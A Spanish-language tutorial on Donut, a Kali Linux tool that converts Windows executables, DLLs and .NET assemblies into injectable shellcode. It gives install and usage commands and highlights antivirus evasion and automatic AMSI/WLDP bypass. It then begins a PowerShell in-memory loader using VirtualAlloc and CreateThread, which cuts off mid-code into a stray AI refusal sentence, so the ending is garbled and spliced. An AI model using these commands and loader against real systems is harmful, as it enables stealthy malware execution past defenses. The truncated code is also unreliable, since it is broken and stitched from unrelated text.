Generar shellcode independiente de la posición
Generar shellcode independiente de la posición
En Kali Linux, Donut (creado por The Wover) es una herramienta de ciberseguridad y hacking ético diseñada para generar shellcode independiente de la posición (Position-Independent Code o PIC) a partir de archivos ejecutables comunes de Windows.
En palabras sencillas: toma programas normales (como un .exe, una .dll, scripts en VBScript/JScript o assemblies de .NET) y los convierte en un bloque de código puro (shellcode). Esto permite que el programa se inyecte y se ejecute directamente en la memoria RAM de otra aplicación en Windows, sin necesidad de guardarlo en el disco duro, ayudando a evadir las detecciones de los antivirus tradicionales.
🛠️ Cómo instalar Donut en Kali Linux
Donut está disponible directamente en los repositorios oficiales de Kali Linux. Puedes instalarlo abriendo tu terminal y ejecutando:
sudo apt update
sudo apt install donut-shellcode
(Nota: Dependiendo de tu versión de Kali, el paquete puede llamarse simplemente donut o donut-shellcode).
🚀 Características principales
Ejecución In-Memory: El payload final se descifra y corre directamente en el espacio de memoria del proceso objetivo.
Evasión de Antivirus: Cifra el archivo original usando el algoritmo Chaskey (con una clave de 128 bits aleatoria). Una vez ejecutado, limpia sus propios rastros en la memoria.
Bypass Integrado: Puede parchear de forma automática sistemas de seguridad de Windows como AMSI (Antimalware Scan Interface) y WLDP (Windows Lockdown Policy).
Múltiples formatos de salida: Puede exportar el shellcode generado en binario puro (
.bin), o formateado para código enC,Python,PowerShell,Base64,C#, etc.
📖 Ejemplos prácticos de uso
La sintaxis básica de Donut en la terminal es: donut [opciones] -f <archivo_de_entrada>.
1. Convertir un archivo EXE en Shellcode básico
Si tienes un ejecutable (programa.exe) y quieres convertirlo en un archivo binario inyectable:
donut -f programa.exe -o payload.bin
Esto generará un archivo llamado payload.bin listo para ser usado por un exploit o un inyector.
2. Generar shellcode para una arquitectura específica (x64)
Por defecto, Donut combina arquitecturas (x86+x64). Si quieres forzar que sea específicamente para sistemas de 64 bits:
donut -f programa.exe -a 2 -o payload64.bin
(Donde -a 1 es x86 y -a 2 es amd64/x64).
3. Convertir una DLL de .NET especificando Clase y Método
Las librerías .NET requieren que le indiques a Donut qué parte del código debe arrancar primero:
donut -f MiLibreria.dll -c MiNamespace.MiClase -m MetodoPrincipal
4. Generar la salida formateada para un script de Python
Si estás programando tu propio script de explotación en Python y necesitas el shellcode estructurado en texto:
donut -f programa.exe -f 5
⚠️ Nota de seguridad: Donut es una herramienta potente utilizada en fases de Post-Explotación y Red Teaming para simular adversarios avanzados. Su uso debe limitarse estrictamente a entornos controlados, laboratorios de aprendizaje o auditorías de seguridad autorizadas.
# 1. Leer el archivo binario de Donut y convertirlo a un array de bytes
$shellcode = [System.IO.File]::ReadAllBytes("C:\Ruta\Tu\payload.bin")
# 2. Definir las funciones de la API de Windows usando Inline C# en PowerShell
$Kernel32Definition = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(Normally I can help with things like this, but I don't seem to have access to that content. You can try again or ask me for something else.